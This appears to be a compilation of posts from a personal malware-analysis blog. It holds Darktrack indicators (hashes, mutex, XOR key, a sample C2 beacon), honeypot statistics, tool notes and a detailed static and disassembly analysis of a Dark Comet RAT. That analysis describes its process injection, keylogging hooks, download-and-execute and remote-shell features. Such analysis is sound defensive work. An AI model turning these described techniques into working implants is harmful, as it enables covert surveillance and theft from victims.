MD5 c2cae2249e422ec8d3d2da5712679262
SHA-1 35e2c4d521d0ce60ae1a78f88f116057367d83fa
Imphash 029f303dc25c06dd65b86262c6a9ed20
File Type Win32 EXE
SSDeep 98304:Bkl5IlOxWJBWN6O5zjfxIhItSQfmK36t+iuHWWoS9sHOAaMnq6+q3SATTzGypMLD:eKupzlefQOKU+iuHkORMnq6+4eLoMSQL
File Size 6.5 MB

MD5 edc9c0a3eaaf592dba89ec3735ef022b
SHA-1 4c1196733e6bafa0b7d3e078896d0937111a9440
Imphash ee46edf42cfbc2785a30bfb17f6da9c2
File Type Win32 EXE
SSDeep 12288:BOqvQomCg4G6q90tmPvj+GU/ttJuqwh3EQiXRUVZs4ixsiNhkApRaw:9oovgbAKvBgtJuqwh3EQihUb1ifNh
File Size 627.5 KB

Dumped Stub.exe
MD5 ecae681b11dac1bb8facde439229f50a
SHA-1 391a75dc8b37a8716cb5856fae7c0dd965162930
Imphash 62201a8d9ef3cb9372a8618dffb33bd0
File Type Win32 EXE
SSDeep 12288:dOqvQomCg4G6q90tmPvj+GU/ttJuqwh3EQiXRUqr:5oovgbAKvBgtJuqwh3EQihUq
File Size 627.5 KB

UPX Packed sqlite3.dll
MD5 63f87edc6c0fcc88c9951119e39ccd7f
SHA-1 7e19bea3abcfec0ef66d3ee0ae01ce8812f6e32a
Imphash 9b821a35d20f9a8955f8d5e54b175675
File Type Win32 DLL
SSDeep 3072:XsABLvEx/5jcESAxpeGwuYwTPk9cJx9RjhkZ726EJS2vICXPnwL1nPTsb+jRsR8:XZLvExxjcixs+XNhkA6GSaRXfy1nbO
File Size 215.36 KB

Unpacked sqlite3.dll
MD5 dddf597f6546ddae942ce08bc773f646
SHA-1 6dde01d2699afa2c731a7344f5e8ad129a98ce4a
Imphash af2a1cf0ae9d12b4ef9c165cff60e4b3
File Type Win32 DLL
SSDeep 6144:OICvMnOTvcfgA0qBlJ89Ojo33C1oVDtY4sG2/WctyzuYf0ob8L23/8O:uvMnAA9BleOjoH4Ktm+jbFX3/l
File Size 379.86 KB

MD5 edc9c0a3eaaf592dba89ec3735ef022b
SHA-1 4c1196733e6bafa0b7d3e078896d0937111a9440
Imphash ee46edf42cfbc2785a30bfb17f6da9c2
File Type Win32 EXE
SSDeep 12288:BOqvQomCg4G6q90tmPvj+GU/ttJuqwh3EQiXRUVZs4ixsiNhkApRaw:9oovgbAKvBgtJuqwh3EQihUb1ifNh
File Size 627.5 KB

Stub-specific signatures:
Mutex: 080IAM010010DAR8K89TR3SDTACK (hard-coded to this stub, but likely changeable in a working builder)
C:\DOCUME~1\Owner\LOCALS~1\Temp\Klog.dat (keylogging results in plain text)
Ports 4157 and 9633 are two default ports in this particular copy of the Darktrack builder
XOR key: Yhuol08uJhGfCVzzXdFG.==+t&t&y7877wSWqwDw12123ghhGTG
Example C2 communication:
Local User|Owner@[redacted]|Windows XP|No[refers to web camera]|4.1 Alien+|Immunity Debugger – stub.exe – [CPU – main thread, module stub]|ENU|Administrator|123456|C:\DOCUME~1\Owner\LOCALS~1\Temp\|1|

So Long, and Thanks for All the Fish

This is going to be my last post for a while, because the primary purpose of my blog has been achieved.

I started this blog as a way to showcase malware analysis work that I’ve done, like a portfolio. I recently accepted an offer at a fantastic organization to do exactly this kind of work. I couldn’t have asked for a better role. I plan to focus solely on my work there which is why I’m going to basically shut down this blog for now.

If I have the time, I may post about malware when I have a chance, or about other topics of interest, but for now I’m going quiet.

Don’t forget your towel.

NYMJCSC Notes and Other Things

I attended the third annual New York Metro Joint Cyber Security Conference on Wednesday, October 5th and I got to see Lenny Zeltser’s presentation in the morning. I had been up until about 2 AM that morning working on a project to submit to someone, so I got a bit of a late start but managed to make it into the room just as he was beginning his talk.

Lenny’s talk was his usual great content, this time focusing on sort of a “Malware 101” for the attendees. Lenny has a framework for malware analysis which starts at the simplest (automated analysis) and escalates in difficulty up to manual code reversing at the top. He covered his first three areas which encompassed automated analysis (sandboxes), static and dynamic analysis.

Some of the tools he mentioned were new to me, and I plan on checking them out. The most interesting ones to me were:

PE Studio
Nice tool for looking at PE headers. You can see full feature list on their site. Notice that there’s a standard and professional license and the feature list reflects what you can and can’t do with each. The interface looks really nice, and there are some features in the standard (free) edition that could be really helpful like entropy detection and anti-debugging import detection. There are a few things missing in the standard edition, though, like listing exports and resources that I’d miss if I switched to PE Studio completely, so I think I’m going to add this to my toolbox and switch back and forth between this and PEview. If budget were no option, I’d definitely start using the professional version of PE Studio going forward, though.

CaptureBAT is a tool that, as Lenny put it, makes a good compliment for something like Process Monitor. This software records state changes and is good for capturing information on file creation, deletion, and other things that you’d be interested in knowing about during dynamic analysis. The only issue with CaptureBAT is that it’s only for 32-bit Windows systems. Lenny said that NoVirusThanks has some tools that can approximate the same functionality for 64-bit machines, though.

This is a really cool tool for visualizing the output of Process Monitor logs. I wish I had this when I was working on this copy of Adwind and I was manually doing the visualizations. Basically, you let Process Monitor collect data and then you export the data as a .csv and then import this into ProcDOT. ProcDOT will then graph this data and visually show you process and thread creation, function calls, etc. You can see some examples of this output on the ProcDOT blog. I’m definitely going to start using this. I remember having a sample that created 16 child processes and I went through all of that manually, which was no fun…

This is a Linux distribution maintained by Lenny Zeltser that comes preloaded with tools for malware analysis. You can browse the full tool list yourself, but this comes with a ridiculous amount of tools both for doing malware analysis directly and for activity in support of malware analysis (such as simulating an Internet connection). I almost think of this as like a Kali for malware.

As far as the other things, I’m going to write up a couple of little topics that came up during some of my analyses that might be of interest to people doing malware analysis.

An easy way to capture dropped files before they are deleted

In one of my Adwind analyses, I noted that there were two .vbs files dropped that were deleted by the malware after execution. I didn’t have any tool that I could use to intercept these files, but I could see where they were being dropped by reviewing Process Monitor results. What I did was I created a .bat file in that directory that contained the following lines:

copy *.vbs *.vbs.bac
goto loop

Nothing groundbreaking here, but it worked. I put this file into the directory where the malware dropped the .vbs files, and then started the .bat file before I started the malware. When the malware executed, this batch file was able to catch both of the dropped files and made a copy for me to review later. Obviously you could change this to work with different types of files or whatever else you wanted, but this was just a really quick and easy workaround to this issue.

Not very obvious file deletion in Process Monitor

DeleteFile is a fairly common imported function in malware I’ve analyzed, so you’d think that you’d see calls to it in Process Monitor. Another thing I’ve observed is some malware will delete files from a command prompt, and this is fairly easy to pick up in Process Monitor as well. This copy of Adwind, however, deleted files in such a way that it wasn’t immediately obvious to me. What it did was make a call to SetDispositionInformationFile to set Delete:True. If you have files that “disappear” during your analysis, take a look in Process Monitor and set a filter on Operation for SetDispositionInformationFile — you should see the disappearing files show up here. Basically, when this is set to True, then the file is deleted when it is closed, as explained by this MSDN article. This blog post from Malcolm McCaffery goes into more detail here and explains why you shouldn’t expect to see a call to DeleteFile in your Process Monitor results.

That’s all for now.

September 2016 Honeypot Results

Honeypot update – I still have four Dionaea honeypots running in NYC, Frankfurt, Bangalore and Singapore (the GRAB series) and a single Conpot running in NYC (JUMPSEAT).


I didn’t have a similar issue in September as I did in August (when the sheer volume of traffic caused the honeypots to run out of inodes in the first 3-10 days of the month) though Frankfurt ran out towards the very end of the night on the 30th of September, so that cut it close a bit.

Connections: 752,296
Unique IPs: 19,507
Files Downloaded: 5



Interesting to see Kazakhstan make the list this time, with Romania making up a sizable portion of the totals this time around.


UPnP, again, strongly the most popular, and therefore no surprise when we look at the ports:



The top IP address, leads back to Microsoft, actually, as do the next three addresses. apparently leads back to Microsoft also, but this particular entry gets associated with someone apparently with Microsoft in Brazil (Benjamin Orndorff, who apparently is located in Seattle). Maybe this is just a provocation… The next two after that lead back to hosting providers in Europe, while the one after that,, seem to lead back to an electric company in California, with a NOC in Sterling, VA. The last two are Microsoft and a hosting provider in Canada.

Here’s a map showing the attacker locations:



Next is the Frankfurt honeypot:

Connections: 1,127,930
Unique IPs: 20,659
Files Downloaded: 15

Pretty spectacular number of connections – this is a new personal record for any of my honeypots.

Vietnam making the top 3 this time!

Similar results in terms of the shape of the graph for services, but wow – over a million UPnP connections.


The top IP address leads back to some person in Vietnam. The second highest leads back to that electric company. Turns out it’s actually a hosting provider (Hurricane Electric), so not mysterious anymore. The remainder are hosting providers in France, Hong Kong, and also some of the same parties from Microsoft that we saw earlier with GRAB-NYC.

Now for the maps:



Connections: 500,737
Unique IPs: 21,688
Files Downloaded: 10,518

Again, not a mistake – this honeypot set a new record for number of samples collected. Like last month – almost ALL of these downloads were Conficker variants. I did find one other piece of malware in there (Parite-C). I find it really interesting that there is so much Conficker in this region, and how it doesn’t seem to spread to my other honeypots.



India makes the list, which is a first, as well as Venezuela and Ireland.



Services and ports are pretty much in line with other regions.

Microsoft coming in at number 1! And 2, and 3, and 4, 5… and 7… and 10. What the hell? The rest were just some hosting providers in various places (one in India).

Now, maps:




Connections: 457,464
Unique IPs: 21,221
Files Downloaded: 2

As usual, dismal number of files collected from Bangalore. Also, like last month,this honeypot has the highest number of unique IPs of all the GRAB honeypots.



Services/ports in line with other regions:



Microsoft dominates these results also, 7/10. The rest are hosting providers (including one from AWS).


Some maps:



Much more activity on JUMPSEAT in September, here are the total connections by protocol:


Last month saw Modbus as the most popular protocol, followed by all variants of HTTP, so much different this month. Perhaps the parties involved noticed that my honeypot doesn’t quite seem right and stopped bothering.


Lots of activity, but nothing as clearly anomalous as when we had scanning the honeypot in August. leads back to a hosting provider in Seychelles. is Shadow Server, again. leads back to Amazon while the next two lead back to Poland. One of them is actually a security company I’m familiar with! Hello there! The last one leads back to UC Berkeley.

That’s it for September, on to other things.

Dark Comet (Part II)

Continuing from last post… This is my first time disassembling a sample this big, so I’m going to do my best to explain things in a way that makes sense. It’ll be an interesting exercise to figure out how to keep track of such a large disassembly as I go along.

The start function is located at 48F888 and one of the first things that happens here is 0x30 is MOVed into ECX (768 decimal) and this is used for a loop that consists of pushing 0 onto the stack twice (so, at the end of this loop, you’ll have 1,536 zeroes pushed onto the stack). After this, there’s a parameter pushed onto the stack, located at 48E3C0 (which points to 0xA1) and then a call is made to a subroutine at 4076D4. This sub moves the TlsIndex then pushes a module name onto the stack before getting a handle to that module. Within this sub is another subroutine at 4051DC. In this subroutine, we see a couple of double words being set up to point to RaiseException (495014) and RtlUnwind (495018), and then a call to another subroutine at 4050C8 which directs some activity towards FS:

I think this will be a lot easier to discern when being debugged. I’m curious what offset this takes at runtime. What’s also happening here is that you can see the pointer at EAX+4 being set to the location 405028, which contains some code related to calling an unhandled exception filter.

The next call after these branches is to 405174, where the code starts to get busier. A bunch of things are pushed onto the stack, and then we see that the double word at 4977D0 (which we saw had something put into it earlier, during the execution of subroutine 4051DC) is put into EAX and then this is TESTed. If the contents of dword_4977D0 is equal to 0, then we jump to the end of this subroutine and we return. Otherwise, execution continues and we hit the first block of code of 405174:


We have the contents of the area pointed to at EAX being MOVed into EDI, then we can see that the target of the pointer at EAX+4 (which, currently points to that little block of code having to do with structured exception handling) is put into EAX. This then gets put into the target of var_4 and then EAX gets cleared out. We see something located at 4051C1 get pushed onto the stack – this turns out to be a single instruction, JMP sub_404B30, which contains exception handling information:


Not to go too far down this rabbit hole, there are some interesting things in this sub 404B30. One interesting thing is one branch where a subroutine at 40450C is called:


I’ve seen other examples of using “f-” instructions as part of some sort of shellcode techniques – I’m not too familiar with these instructions but my intuition is that this isn’t what’s going on here.

Later, after the call to 40450C, we see that something at dword 495010 is put into EDX and then EDX is TESTed to see if it contains anything – if it’s not 0, then it’s used as part of an indirect call. I couldn’t find any direct references to this double word (in terms of putting an address in there) so this is probably another thing that will have to wait until debugging. What’s interesting is that whatever is at this indirect call controls a significant portion of the remaining flow of this subroutine. If this subroutine returns 1, then the entire subroutine branches to an exit, and overall this subroutine returns 1. Otherwise, we continue to branch through these other areas related to exception handling. As part of the “failure” branch, we see a call that ultimate results in an indirect call to RaiseException:


Various other calls are there, to RtlUnwind, to the unhandled exception filters, etc. Towards the end, there is a call to 407644. Several layers deep into this sub, we find some branches related to exiting the application with an error, and writing this information to a file:


We also see that an error message can be put in a MessageBox:


Overall, we step all the way back up to where we entered these many branches, and we’re back to 48F8A0, continuing now that the malware has set up its error and exception handling mechanisms.

Next we see EAX being zeroed out and then some things being pushed onto the stack before a call to CoInitialize. These things being pushed don’t really mean much to the CoInitialize call, though, as this takes only a single parameter which is reserved and must be null (per MSDN: “This parameter is reserved and must be NULL”). One of the things pushed, though, was a location (490656) which contains an instruction to JMP to a subroutine at 404DE4. This appears to go down a similar rabbit hole as earlier, with similar instructions to the error handling stuff discussed above. Shortly after this, there is a call to a subroutine at 481628. This is where we appear to get into the real “malwarey” activity.

This subroutine begins with some setup and also a reference to some of the exception handling material we already saw. Next we see the value 0x320 being MOVed into EAX and then a call to a subroutine at 402F00. The first thing this subroutine does is TEST EAX, EAX and then jumps if the result is less than or equal (JLE). I must be missing something, because I would think that if you just MOVed 0x320 into EAX, then you have a JLE, you should always follow the jump – it becomes sort of an unconditional conditional (equivalent to a JMP). Here’s a quick look at this area of code:


I’m wondering if there is some sort of anti-disassembly tactic going on here. Sometimes you might see a conditional jump that appears to be “always taken”, like what I seem to observe above or something like this:

JZ <location>

So here we’re zeroing out EAX and then TESTing it – since we just zeroed it out, the zero flag (ZF) should be set a this point so therefore the JZ (jump if zero) should ALWAYS be followed. Sometimes malware authors can do things like this with the opcodes in order to get code to disassembly incorrectly (but still execute as intended, it’s just fooling the analyst). When I undefine this section of code and then start redefining different slices of the opcodes as code again, I don’t come across anything that appears to be meaningful, so for now I’m going to leave this be and just note that this might be someplace I need to come back to. Overall, I wouldn’t say that this is a terribly “hostile” sample, though, so I’m not as suspicious as I might be from seeing something like this.

Within this subroutine however, we eventually get sent to a somewhat mysterious, complicated and large subroutine at 401A0C. I’m not able to fully understand what this subroutine is doing – The beginning of the subroutine almost makes me think that it’s looking for an address:


I suppose this could be anything, but I feel like those values look similar to addresses. I’m not sure if this would even make sense for a sample of this age, since I think that chances are pretty slim of finding anything at a specific address in any version of Windows you might find out there for the last few years. I don’t recall when address space layout randomization first became prevalent, but I believe it was at least several years before this sample was found in the wild. The rest of this sub is full of arithmetic operations, shifts, rotations, compare/exchanges, and bitscans. At one point, this subroutine also calls another subroutine that allocates memory somewhere. Normally I would associate all of this with some sort of coding routine, but I feel that this isn’t the case here. I’m going to rename this subroutine MaybeDecoding and move on. Just in case it’s of interest, here’s a higher-level view of this subroutine, to give some idea of the activity going on here:


Coming back up to 481628, next we see calls to GetCurrentProcess and OpenProcess followed by Sleeping for 1 millisecond. One of the parameters PUSHed onto the stack is the token handle – perhaps the “coding” routine we were just discussing was some method to find an appropriate token. Perhaps the bit scanning functions had to do with that also.

Below this, we then see a call to GetTokenInformation:


I notice that number we saw earlier, 0x320, being pushed as the TokenInformationLength. Seeing this number in relation to tokens makes me think that the earlier subroutine was in fact doing something related to finding a particular token or type of token. I’m going to rename the sub accordingly.

After this call to GetTokenInformation, we see additional calls to that token search subroutine, and then we see the malware looping around getting privilege names:


The subroutine at 405728 compares CL with the non-zero memory contents of four bytes beginning at [EDX]. There is a mechanism to increment EDX, but what’s interesting here is that this sub 405728 does not end with a RETN but rather with a JMP to a subroutine at 405620. This subroutine runs through some of the same code as before related to token searching / possible antidisassembly and then also calls a subroutine at 4030FC (if the token search function was successful, as an intermediate step) and 405530 (after 4030FC, or simply as the next subroutine in the event that the token search / anti-disassembly routine was unsuccessful). 4030FC conducts a number of arithmetic and floating point operations using EAX and ECX. 405530 leads us down some paths that includes code we’ve seen before, like the area that was focused on shifts/rotations/bitscanning of information. These branches within these subs lead us to more manipulations, more shifts/rotations of values, and even an exit path.

Stepping back up to 481628, the next subroutine being called is 4814E8. Within this subroutine, we see the process token being opened, and also some error handling functions. What’s very interesting is that later on in the code, we see the privileges of a token being adjusted in order to remove all privileges:


I wonder if this is some scheme to hide activity from the user. I’ve read about techniques involving replacing user privileges with administrator privileges so that the malware can more stealthily conduct activity that normally would appear in Event Viewer. This is going to be my working model for this, at least for now, as I haven’t really heard of malware that “de-escalates” privileges. After some more calls to the manipulations code we’ve already seen, sub 481628 finishes and we’re back up top at the Start function.

The next subroutine, 48DECC, conducts more transformations of data and floating point operations. 48DF40 is the next subroutine called, and we see “DCDATA” being MOVed into EDX shortly before this call, as well as having its own exception handling being set up right before that. The major things that 48DF40 do include:

– Sub 48DDC0 which involves finding/loading/locking/freeing the .rsrc section, as well as some of the previously seen floating point operations and token activity
– Sub 405864 which involves more of the same token activity and floating point operations

The next sub, 48DF40, contains many, many manipulations and floating point operations, as well as a possible exit path. I’m not interested in digging through what all of these are doing, as I want to keep moving on to what I consider to be the main malware operations. After that, sub 40F21C calls GetModuleFileNameA and also one of the manipulations subs from earlier. Next, 40A588 was not obviously interesting, though right after that we see an offset for “GENCODE” MOVed into EAX and then a call to 47DFE4.

Digging into the subroutine at 47DFE4, I continue to get bogged down in what appear to be endless manipulations of various registers and floating point operations. I’m not really trying to reverse this sample in the sense that I want to understand exactly how it works (how it is written / could be rewritten) but rather I want to disassemble it in order to try to glean the interesting parts of the malware functionality. It’s a good exercise in any event, as this is the largest sample I’ve ever tackled, but I think I’m going to change my tactics on this. I’m going to start looking at specific functions and strings of interest and then work around those in order to try to get to the interesting stuff faster.

Going in no particular order, I’m going to take a look at mutex creation in this malware. We saw earlier that a mutex DCPERSFWBP was created. This string appears in the malware and is referenced in a subroutine at 42F27C, which turns out to be a very interesting subroutine. We see some manipulations and floating point operations being done, and then we see some of these being done in the context of notepad.exe:


The first reference we see to DCPERSFWBP follows this, right before a call to CreateProcessA:


After that, we see something odd:


We have a series of strings being used in conjunction with a call to a subroutine at 42EB10. This subroutine consists mainly of calls to an earlier privilege name searching subroutine, and then a call to VirtualAllocEx and WriteProcessMemory.

After that, we see calls to GetModuleHandle and GetProcAddress:


This looks familiar and strange at the same time. This looks like the malware is getting a handle to a module and then calling GetProcAddress in order to get the address of a function to import. Maybe this is something to do with how Delphi handles this sort of task. I’m more used to seeing the LoadLibraryA/GetProcAddress combination.

Towards the end of this block of code is a call to a subroutine at 42EBD8. The main things happening in this thread are a couple of calls to subroutines that call VirtualAlloc and WriteProcessMemory, then a call to CreateRemoteThread:


Another aspect of this malware that’s interesting to me is the surveillance capabilities, such as the keylogging and webcam functionality. There are some strings that lead me to these places, such as CTRLA and WEBCAMLIVE. I notice that there seems to be a common subroutine found whenever named functionality appears to be called – see a couple of screen shots below:


As you can see, the offset for WEBCAMLIVE is MOVed into EDX right before 405974 is called. This code comes from an absolutely monumental subroutine beginning at 4850A8.


Here we see this same subroutine being called, this time in the context of recording CTRL key combinations in the keylogger. This code comes from a subroutine beginning at 481A6C.

405974 is interesting because there doesn’t appear to be an obvious call to something that would cause the action to take place. 405974 begins with a few comparisons and tests:


As you can see, there is a comparison of two registers (EAX and EDX) and then a TEST between the same two (though in different order). What we’re missing from this view is that prior to 405974 being called, a parameter is put in EAX while EDX receives an offset pointing to the action – here’s a view of this coming from 4850A8:


Going back to 405974 now, we:
– compare the two – if equal (zero), we jump to a RETN
– test the two – again, if equal (zero) we jump to another test
– at this second test, we test to see if EAX is zero – and if so, jump to a couple lines of code where we compare the variable 4 bytes behind the current offset in EDX to what is in EAX, and then RETN
– if EAX is nonzero, then we test EDX to see if it’s nonzero (see below for more code), continuing with the code if it ISN’T zero (at which point, we execute a couple of lines to do a similar comparison of what lies in memory at EAX-4 bytes with EDX)


– If we get through all of that, then we MOVe with zero extend what is in memory at the location specified at EAX into ECX, then subtract the lower byte of ECX from the contents of EDX, jumping to a RETN if this results in a nonzero result
– Next (see following image), assuming we didn’t jump to the RETN, we can see some manipulations taking place – contents of EBX get saved by PUSHing them onto the stack, then we see the contents of memory at EAX-4 bytes being MOVed into EBX. The contents of EDX-4 bytes are subtracted from EBX, then we get this new result PUSHed onto the stack also. What’s in ECX (which, remember, contained the contents of memory at EAX-4 bytes with the contents of EDX subtracted from the low byte at CL) has 0xFFFFFFFF added (with carry) to it. The result of this will be to take the contents of ECX, add 0xFFFFFFFF and the result of the carry to ECX. ECX and EBX get ANDed and then we see the contents of memory at EAX-4 bytes being subtracted from ECX, then ECX being subtracted from EAX, and then finally ECX being subtracted from EDX. Some sort of decoding?
– In the next block of code, the contents of the memory stored at the address resulting from the sum of ECX and EAX are MOVed into EBX. This then is XORed with the contents of memory located at the address resulting from the sum of ECX and EDX. This block finishes with a Jump if the zero flag is set.


– If the jump is not taken, then we ADD 4 to ECX and loop (via the JS) if the sign flag gets set, otherwise we follow a branch where we POP EAX, add EAX to itself, and the POP EBX before continuing to the RETN. Stepping back through the code, the contents of EAX should be the last thing PUSHed onto the stack (which was the contents of EBX, which had the contents of EAX-4 bytes MOVed into it before having the contents of EDX-4 bytes subtracted from it) and the contents of EBX should be the next thing on the stack, which in this case would be the returned value from a successful call to recv in the WS2_32 library. In order to find this, I had to move up several levels in the code, and will put another screenshot below showing this.


Screenshot showing the contents of EBX, code copied from subroutine 479E38:


Coming back to 405974 now – there’s a final branch to look at, see below:


– Once the loop is finished (and the JNZ is taken), then we enter a block where we bitscan forward (BSF) EBX with itself, and then shift the result to the right by three places. This new value in EBX gets added to ECX, and then we come to another conditional jump. If the jump IS taken (sign flag did NOT get set) then we head over to that branch already discussed where we have values being POPped into EAX and EBX. Otherwise, we go to the last block of code to look at in this section.
– If the sign flag does get set, then we move the contents of ECX+EAX into AL, compare AL with the contents of ECX+EDX, and then POP the last two values on the stack into EBX before returning, which in the process loses the first value that was left on there (which was the contents of EBX, which had the contents of EAX-4 bytes MOVed into it before having the contents of EDX-4 bytes subtracted from it) and leaving only the second thing PUSHed onto the stack in EBX (the returned value from a successful call to recv in the WS2_32 library, after the BSF and SHR have been executed on that value).
– Finally, keep in mind that the discussion of what is in EBX here is going to be dependent on exactly where this subroutine is called – in the example I gave above, this particular instance of using the code had to do with values returned from the call to recv, but this sub 405974 is called 357 times in the malware so obviously the values of the registers can vary widely from call to call.

So what does this entire mess actually mean? To be honest, I’m not entirely sure. Overall, we have an action being taken depending on whether or not a parameter being passed to the function matches a string stored at an offset. I’ve observed MANY different situations and offsets in this code. At first glance it’s almost as if the malware has a parameter passed to the function and then it checks against several different command names within that function. It sort of appears to be an inefficient way of doing this, since in some cases you almost cascade through a large number of code blocks checking along the way. It also looks like this is some sort of way to decode an address within the malware execution. There’s a .reloc table within the PE header, perhaps this is some way of finding functions within the code if the malware is able to ascertain where parts of itself have been relocated? I think I need to look at more samples of malware written in Delphi so that I could get a better idea of what is happening. Coming from a background of looking at samples written in other languages, this code doesn’t appear to really “do” anything so I suspect that this is just my lack of knowledge of Delphi showing through. At least you got treated to an excruciating walk through of some assembly code!

Moving on to other malware functionality, going through the functions imported in IDA I notice that there’s a subroutine beginning at 478968 that contains a call to CallNextHookEx. The malware could hook things for various reasons, but in checking this subroutine out we see that it begins with some code that includes the call to CallNextHookEx, and then a check is done to make sure that the hook code passed is nonzero:


If it is nonzero, then we jump to a code section built around another call to CallNextHookEx, before doing some cleanup and returning. Otherwise, the code continues to an area containing a couple of large switch statements (overall a couple dozen cases, see graph below):


Within here, we see code that calls GetKeyState and also branches that will allow the malware to add other information to the log file, such as the code that adds in statements about the clipboard status and other things:


Here’s an example of one of the subordinate subroutines showing a reference to text that gets added to the log file for clarity:


I went looking for a reference to UrlDownloadToFileA and found one in the giant subroutine 4850A8. Here’s a graph of that subroutine to give you some idea of the scale:


Somewhere very close to the bottom one finds a reference to UrlDownloadToFileA. It’s not clear from the disassembly precisely what file is being downloaded, however we can see later that if the file is successfully downloaded that this status update is reported and also this file is executed after downloading:


We can also see the reference to Bots here, suggesting this is part of the functionality offered via this malware. What I’ve also noticed in browsing through this very large sub is that there appears to be another subroutine that is similar in its role in the malware to 405974. You might recall that 405974 was the subroutine taken apart in some detail earlier, and this was one of the subroutines that would “do” whatever was being referred to in the malware according to a particular string. I’m noticing that this new subroutine at 405A84 also appears to fulfill a role like this (and happens to be referenced 296 times, a similar volume compared with 405974). I’m not going to go into the same amount of detail in looking at 405A84, but this new one seems simpler while also have some resemblance to 405974.

Further along in 4850A8, we see references to some of the bot-type functionality related to floods:


Here’s a reference to remote shells:


References to using the webcam and capturing audio:


There are many other references that suggest additional functionality such as getting torrents, sharing the host desktop, getting the victim’s clipboard contents, playing sounds, opening and closing the CDROM drive, opening Task Manager, and other things.

Here’s a little thing I noticed going through other areas of the code:


I’ll keep this in mind for the signatures part of this analysis.

471E70 is where we see references to several registry changes, including ones related to persistence:


In the subroutine at 483A04, the malware obtains and names the version of Windows it is running on:


For some reason, the only version it explicitly names is Windows Server 2003 (in terms of referencing a string):


I’m getting to the point where I need to move on from this sample, so let’s take a look at some of the stuff I dumped using Volatility. Starting with the second of the two iexpore.exe processes, there was code injected at two places. Looking at what I dumped from the first place (at 0x420000), I see what appears to be several hundred lines of a sled that all lead to a jump to 0x76AD9204, example below:


I tried attaching a debugger to this process to see what was at this location, but none of them allowed me to (all of my versions of Olly and Immunity). The other dump from this same process, at location 0x5FFF0000, didn’t make any sense, so I’m not sure what this is.

Looking in the dumps from the notepad.exe process, two of the dumps contain code that I can’t make sense of (I wouldn’t call them spurious just because I don’t understand them…) but one of the injected areas does appear to contain code with many indirect function calls (found at 0x1A0000):


I’m wrapping up this analysis at this point, as think I’ve gotten as many interesting things as possible out of this, particularly during the dynamic analysis in the previous post. I could spend a lot more time on this sample, and maybe down the road I should so I can get a better handle on Delphi. There are a few more things I’d look at if I had more time:

– Figure out what is preventing me from attaching to one of the injected iexplore.exe processes and further investigate the address I found in the injected code. One other thing of note related to this, is that while there is a TLS section (which as far as I know is normally associated with antidebugging techniques), IDA does not see an entry point associated with it.
– How the domain name is generated within the code, as I did not see any string looking like “”
– The log file generation code (it appears to be pretty simple, but I would still be interested in seeing the specific code that does this)
– Where the code actually specifies the msdcsc.exe file name (again, I did not see a direct reference to this in the disassembly, nor for the directory name generation)
– Mutex name generation (we saw that there is a static piece that we did find, but there is also a dynamically generated piece)


Findings and observations:
Remote access trojan coded in Delphi. Extensive functionality to monitor user activity (inputs, files, desktops, remote shells, audio/video equipment). This malware also appears to have capabilities more often related to botnets (such as DDoS capabilities).

Avoid downloading files hosted publicly on DC hubs (or other P2P services). Don’t allow users access to these services without some vetting (e.g., an IT professional may need access to bittorrent in order to obtain Linux ISOs). Keep regular users from running in administrator mode, as there was a bit of lost functionality for the malware in terms of system control when run as a regular user. Blocking the domain would be good, but given the number of shady sites hosted at it might be best to simply block the entire domain.

A very interesting sample, particularly around how it was being distributed. The extent to which one could invade a victim’s privacy with this malware was a bit disturbing.



Dark Comet (Part I)

I went looking for new places to find malware and decided to check out DC hubs. Think of these places as sort of like Napster (for those of you who can remember Napster). I’ve heard of private hubs, and have been on a few myself, but those were generally both vetted and clean. I went looking through various public hubs for stuff that sounded shady.

Most of the stuff I found was just pirated software or movies, but there were a couple of users who I suspect might be the same person due to the naming style and content shared. On a few hubs I found users with some variation of “torrent” in their names (e.g., torrent_com, torrentino_net), etc. and their shares looked pretty odd:


This folder is basically 17gb of files all with extremely similar sizes (as you can see, typically only a few bytes different from one another). Running ClamAV against my newly acquired files, I found “a few” things:


Looks like the motherlode of malware here. What I thought was interesting was that the file names spanned all types of files and applications – you saw copies that were supposed to be installers for Adobe products, Windows, games, utilities, porn, music, everything. I’m guessing that this person put these out there hoping to catch people searching for particular things who wouldn’t necessarily check his file list (and I guess they were also hoping that someone wouldn’t notice anything amiss about a full copy of Adobe Lightroom that was only 574k).

Each username appeared to have a different set of malware – for example, in torrentino_net’s folder “НУЖННННННОООООООООООООООООООООООООО” (means needed or necessary, as adverb) was almost entirely Dark Comet, while the other user had different things (though it was mostly that Trojan.Inject-15717 you see in the screenshot above). I’m going to see what I can find in one of the Dark Comet samples.

Static Analysis

I usually start with the strings, but this is relatively a huge file compared with what I normally work with (roughly 10 times the size in bytes of stuff I’ve worked on so far) so I started with some tools first. PEiD, as well as some strings found in the file, indicate some crypto signatures, as well as the fact that the program was written in Delphi:


I wouldn’t really call these crypto signatures since what we seem to be looking at are functions used to check the integrity of the file. The ZLIB reference suggests that something is compressed in the file. Maybe this has a .PDF or something inside it that it uses for something.

PEview indicates that there’s a TLS table, so maybe this is for anti-debugging (to get code to execute before the debugger breaks the program). The number of data directories looks normal. This program has several sections, and all of them except one looks normal in terms of virtual / raw sizes:


Normally if I saw a section that had such a discrepancy between the raw and virtual size, I’d think that there was something packed there. In the case of .bss, this is a section that contains zero-valued bits initially (at the time of execution) and so only the length of the section, but no data, is stored in the header.

We also see there’s a whole lot of stuff in the .rsrc section:

Opening the malware in Resource Hacker, we see that it has a bunch of mouse pointers under “Cursor” in the .rsrc section. There is also a section called “String Table” with some interesting things in there. The very first table (4083:0) appears to contain strings related to a help function. 4085:0 contains many strings that make me think of a keylogger:

65344, “Yes to &All”
65345, “BkSp”
65346, “Tab”
65347, “Esc”
65348, “Enter”
65349, “Space”
65350, “PgUp”
65351, “PgDn”
65352, “End”
65353, “Home”
65354, “Left”
65355, “Up”
65356, “Right”
65357, “Down”
65358, “Ins”
65359, “Del”

Keys such as “Left”, “End”, “Ins” and so on don’t have a visible character associated with them, so if you were logging keystrokes you would need some other way of recording these. I’ve seen samples that would check for whether or not these keys were pressed and would then insert these strings into the keylogging file so that the author can follow what’s being input.

As I go through these, it’s interesting to see that all of these strings are in English. The rest of the string tables are basically error messages of one type or another, but nothing too useful for our purposes. The last section is “Version Info” which contains:


Going back to PEview, the address table of the .idata section gives up LOTS of information, all in the clear. It imports:


Things I found interesting in these imports include:

